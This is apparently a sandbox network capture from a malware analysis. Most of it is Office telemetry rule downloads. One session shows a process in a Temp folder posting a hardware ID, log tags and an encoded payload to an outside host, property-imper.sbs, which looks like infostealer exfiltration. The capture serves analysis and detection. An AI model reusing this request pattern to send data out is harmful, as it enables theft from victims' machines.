2024-11-23 10:22:33 UTC	1369	IN	Data Raw: 52 53 6a 59 4c 59 73 4f 69 50 35 41 36 56 36 43 4c 75 61 4d 6c 6e 4b 70 64 35 67 38 53 75 35 50 5a 72 39 62 48 76 4e 65 6e 69 56 4e 4f 66 56 55 73 7a 36 67 35 6b 48 38 64 36 49 75 69 34 6e 48 59 67 45 72 76 41 41 47 76 74 4d 79 70 69 59 65 73 6c 37 48 46 52 6b 77 34 44 57 43 43 36 6e 4f 61 59 6c 6d 34 7a 4a 44 30 66 5a 79 53 43 66 4a 4a 41 71 62 6d 68 75 2b 49 69 72 47 56 73 63 6c 56 51 54 6b 47 61 38 53 69 4d 70 35 2f 47 75 57 4b 6f 4f 4e 78 31 6f 70 50 34 51 63 49 72 4b 4c 59 71 63 66 4a 34 35 36 6d 69 51 77 43 44 77 42 69 79 36 63 31 6b 47 77 78 30 63 79 2b 72 57 53 63 69 6b 75 72 55 55 57 75 72 64 61 6a 67 6f 2b 6d 6d 4c 62 44 58 45 30 79 48 32 33 4e 72 54 53 57 64 78 62 75 69 61 2f 78 65 74 65 47 54 2b 49 48 41 2b 72 6f 6e 71 69 66 78 2f 76 5a 69 4d Data Ascii: RSjYLYsOiP5A6V6CLuaMlnKpd5g8Su5PZr9bHvNeniVNOfVUsz6g5kH8d6Iui4nHYgErvAAGvtMypiYesl7HFRkw4DWCC6nOaYlm4zJD0fZySCfJJAqbmhu+IirGVsclVQTkGa8SiMp5/GuWKoONx1opP4QcIrKLYqcfJ456miQwCDwBiy6c1kGwx0cy+rWScikurUUWurdajgo+mmLbDXE0yH23NrTSWdxbuia/xeteGT+IHA+ronqifx/vZiM
2024-11-23 10:22:33 UTC	1369	IN	Data Raw: 42 57 6a 4d 74 6a 4b 53 4f 6c 65 67 69 37 6d 6a 4a 5a 79 38 55 65 77 4f 43 75 69 50 32 62 53 47 6a 61 43 53 73 6f 6c 4c 44 43 52 4e 61 38 37 6b 61 39 31 33 46 65 32 49 73 2b 39 39 33 49 52 41 34 52 73 4b 70 61 76 64 72 34 4b 56 6f 6f 75 78 77 6c 46 42 4f 51 4a 6a 7a 71 77 35 33 54 52 5a 35 35 54 68 75 7a 33 77 6a 6c 62 68 53 79 4b 77 73 4e 6d 6a 6c 6f 79 75 6c 66 37 57 47 6c 74 39 43 6d 43 43 2f 48 4f 64 65 78 54 79 69 61 44 70 64 39 47 46 53 4f 34 4d 43 71 36 69 31 61 47 56 69 61 79 5a 75 4d 4a 56 52 7a 34 47 5a 73 79 74 49 64 30 30 57 65 65 55 34 62 73 39 39 70 5a 47 35 67 56 48 68 4b 33 49 71 4d 57 6d 72 5a 4b 35 78 55 49 43 49 6b 4e 31 67 71 4d 2f 33 53 4a 5a 36 59 4b 74 34 48 72 55 68 55 4c 72 41 67 57 6c 72 4e 43 6f 6c 59 32 76 6b 36 7a 47 56 30 38 Data Ascii: BWjMtjKSOlegi7mjJZy8UewOCuiP2bSGjaCSsolLDCRNa87ka913Fe2Is+993IRA4RsKpavdr4KVoouxwlFBOQJjzqw53TRZ55Thuz3wjlbhSyKwsNmjloyulf7WGlt9CmCC/HOdexTyiaDpd9GFSO4MCq6i1aGViayZuMJVRz4GZsytId00WeeU4bs99pZG5gVHhK3IqMWmrZK5xUICIkN1gqM/3SJZ6YKt4HrUhULrAgWlrNColY2vk6zGV08
2024-11-23 10:22:33 UTC	1369	IN	Data Raw: 4c 31 7a 6d 6e 5a 5a 75 4d 79 68 35 33 48 66 69 6b 6e 6b 42 41 71 74 72 64 47 6c 69 5a 57 73 6e 4c 62 46 58 45 38 76 42 32 62 51 72 54 71 51 64 42 48 79 6a 2b 47 74 50 64 75 56 42 37 4e 4a 4e 36 43 6c 30 72 6d 4b 69 4f 4f 47 38 4e 41 55 52 54 46 4e 4e 49 4b 32 49 5a 31 78 47 65 65 43 73 2b 4a 31 30 34 64 48 37 51 49 50 71 61 2f 61 6f 59 36 42 6f 70 53 2f 79 46 52 48 50 51 52 2b 7a 2b 52 39 33 58 30 42 6f 4e 54 68 31 48 48 58 76 45 54 39 53 52 72 6b 76 35 36 6f 69 38 66 37 32 62 2f 62 57 55 6f 35 44 57 48 45 72 7a 4b 63 65 52 6e 67 6a 36 48 6d 64 74 4f 4c 51 4f 59 44 44 4b 4f 30 31 71 75 56 68 36 2b 64 2f 6f 63 55 52 53 56 4e 4e 49 4b 55 4d 4a 5a 32 47 65 32 5a 34 66 77 7a 78 63 31 41 35 30 6c 64 36 71 37 56 70 49 47 4d 6f 4a 71 77 77 6c 35 4e 4d 67 64 71 Data Ascii: L1zmnZZuMyh53HfiknkBAqtrdGliZWsnLbFXE8vB2bQrTqQdBHyj+GtPduVB7NJN6Cl0rmKiOOG8NAURTFNNIK2IZ1xGeeCs+J104dH7QIPqa/aoY6BopS/yFRHPQR+z+R93X0BoNTh1HHXvET9SRrkv56oi8f72b/bWUo5DWHErzKceRngj6HmdtOLQOYDDKO01quVh6+d/ocURSVNNIKUMJZ2Ge2Z4fwzxc1A50ld6q7VpIGMoJqwwl5NMgdq
2024-11-23 10:22:33 UTC	1369	IN	Data Raw: 78 33 45 75 7a 4f 6f 4f 35 74 32 38 30 4a 71 77 39 46 38 76 61 51 37 34 4f 57 34 38 48 75 6d 77 38 58 62 6c 6f 38 6b 4c 74 39 68 44 6f 50 6f 4e 54 7a 72 54 33 4f 7a 52 2b 72 54 67 61 34 74 4e 69 73 6b 59 54 6b 70 34 44 70 58 30 34 2b 41 57 33 46 35 48 33 64 64 56 6d 34 74 65 48 67 62 38 37 43 56 76 30 45 46 61 33 71 31 72 36 4b 69 2b 50 58 2f 6f 56 51 53 54 45 49 61 39 4c 72 49 59 31 78 46 66 62 41 70 66 45 39 6b 73 31 57 34 41 59 58 70 4b 47 52 76 70 47 4b 73 35 71 37 7a 68 68 4b 4c 41 42 67 67 75 70 7a 69 48 45 56 35 6f 47 30 72 47 7a 4b 6a 6c 48 73 52 51 32 37 71 39 4c 76 75 4d 6e 6a 67 66 36 52 46 48 63 2b 41 32 4c 46 73 69 4c 51 57 68 4c 73 6a 36 33 69 65 70 7a 44 42 2b 31 4a 58 66 6e 6f 6e 71 75 57 78 2f 76 4a 37 4a 49 42 45 57 70 64 50 74 33 71 4b Data Ascii: x3EuzOoO5t280Jqw9F8vaQ74OW48Humw8Xblo8kLt9hDoPoNTzrT3OzR+rTga4tNiskYTkp4DpX04+AW3F5H3ddVm4teHgb87CVv0EFa3q1r6Ki+PX/oVQSTEIa9LrIY1xFfbApfE9ks1W4AYXpKGRvpGKs5q7zhhKLABggupziHEV5oG0rGzKjlHsRQ27q9LvuMnjgf6RFHc+A2LFsiLQWhLsj63iepzDB+1JXfnonquWx/vJ7JIBEWpdPt3qK
2024-11-23 10:22:33 UTC	1369	IN	Data Raw: 67 31 50 4b 74 50 63 37 4e 48 36 74 4f 43 36 65 6e 33 61 47 45 6c 62 47 66 76 64 39 58 42 51 4d 7a 53 63 2b 70 4e 70 4e 39 4a 39 36 74 71 2f 4e 77 30 34 70 35 31 54 34 55 72 62 61 63 69 59 53 52 6f 4e 6e 77 69 55 77 43 5a 55 31 4e 79 4c 51 2b 6b 6e 31 5a 72 73 79 6c 6f 79 57 63 71 45 72 6d 44 41 75 74 35 50 2b 6c 6c 34 71 73 6e 76 36 48 46 45 35 39 56 53 7a 44 72 69 4f 51 64 52 36 73 69 37 76 6b 50 5a 4c 4e 53 61 74 52 52 61 75 73 7a 71 4b 49 67 4f 2b 66 73 4d 63 55 58 58 4d 55 4c 4e 54 6b 61 38 34 30 57 66 4c 4d 2b 61 4d 36 30 6f 42 47 36 41 63 47 75 4c 54 59 72 4a 47 45 35 4b 65 41 37 46 6c 50 4f 41 4e 72 2f 4a 6f 53 6c 32 6f 55 37 34 76 6a 77 33 72 4b 6a 6e 6e 56 50 68 53 74 74 70 79 4a 68 4a 47 67 32 66 43 4a 54 41 4a 6c 54 55 33 49 74 44 36 53 66 56 Data Ascii: g1PKtPc7NH6tOC6en3aGElbGfvd9XBQMzSc+pNpN9J96tq/Nw04p51T4UrbaciYSRoNnwiUwCZU1NyLQ+kn1ZrsyloyWcqErmDAut5P+ll4qsnv6HFE59VSzDriOQdR6si7vkPZLNSatRRauszqKIgO+fsMcUXXMULNTka840WfLM+aM60oBG6AcGuLTYrJGE5KeA7FlPOANr/JoSl2oU74vjw3rKjnnVPhSttpyJhJGg2fCJTAJlTU3ItD6SfV

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102233Z-178bfbc474bfw4gbhC1NYCunf400000004d0000000002ty3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:32 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 80be2a3e-601e-003d-77f5-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102233Z-178bfbc474bpscmfhC1NYCfc2c00000002v000000000bry6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:32 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: ec487560-c01e-0014-1389-3da6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102233Z-15b8b599d88vp97chC1TEB5pzw00000002w0000000001775 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:32 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102233Z-15b8b599d88tmlzshC1TEB4xpn00000002pg000000009p8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1e58b78d-401e-0029-678d-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102233Z-174c587ffdf4zw2thC1TEBu34000000002yg000000002h3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49827	172.67.162.84	443	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:34 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R5R1SXGL39D2XZ5S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18157 Host: property-imper.sbs
2024-11-23 10:22:34 UTC	15331	OUT	Data Raw: 2d 2d 52 35 52 31 53 58 47 4c 33 39 44 32 58 5a 35 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 52 35 52 31 53 58 47 4c 33 39 44 32 58 5a 35 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 35 52 31 53 58 47 4c 33 39 44 32 58 5a 35 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --R5R1SXGL39D2XZ5SContent-Disposition: form-data; name="hwid"96343B797F59BCACD7CBBD6DF28D3732--R5R1SXGL39D2XZ5SContent-Disposition: form-data; name="pid"2--R5R1SXGL39D2XZ5SContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 10:22:34 UTC	2826	OUT	Data Raw: 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 Data Ascii: f5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-11-23 10:22:35 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ast6dnkrmdegtvmc4j7kojjoip; expires=Wed, 19-Mar-2025 04:09:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v9HxQL2t7Vg%2BrWcecz4%2FcsnQwDORQ4t6GfclOANkQa55KF57aljrvlBcUDBNdUc5R6c56uaLDFVHGWqgcC6z83uzsOmhB54%2FdKtopBaNmRPyqJOVMUkCEGvWtMurmewfBaF43U0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e70705c3eee0f88-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1667&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19119&delivery_rate=1687861&cwnd=187&unsent_bytes=0&cid=b87d5239122a7f45&ts=954&x=0"
2024-11-23 10:22:35 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 10:22:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:35 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:35 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a1757a3c-c01e-0034-7811-3d2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102235Z-178bfbc474b9fdhphC1NYCac0n00000004c000000000011v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:35 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:35 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:35 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: a3dd353e-a01e-0032-2c4e-3c1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102235Z-178bfbc474bbbqrhhC1NYCvw7400000004fg000000006epn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
